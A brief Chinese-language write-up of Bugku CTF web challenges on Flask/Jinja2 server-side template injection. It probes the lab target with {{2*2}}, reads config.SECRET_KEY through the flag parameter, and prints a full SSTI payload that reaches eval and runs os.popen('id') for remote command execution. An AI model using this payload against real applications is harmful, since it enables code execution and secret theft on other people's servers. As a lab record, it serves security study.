ctf系列-bugku靶场 web记录
Simple_SSTI_1 模板注入
(1)启动环境
(2)抓包访问链接
发现响应包 显示为python服务
源码 提示
你需要传入一个flag的参数
你知道,在这套flask框架中,我们经常设置一个secret_key 变量
(3)测试flag参数
http://114.67.175.224:17072/?flag={{2*2}}
(4)根据提示获取SECRET_KEY变量
http://114.67.175.224:17072/?flag=flag{{config.SECRET_KEY}}
SSTI_2
依旧根据源码提示 说有flag 参数
测试 flag{{2*2}} 发现存在模板注入
直接利用 ssti模板注入的payload
?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.__globals__.values() %}{% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval']('__import__("os").popen("id").read()') }}{% endif %}{% endif %} {% endfor %}{% endif %}{% endfor %}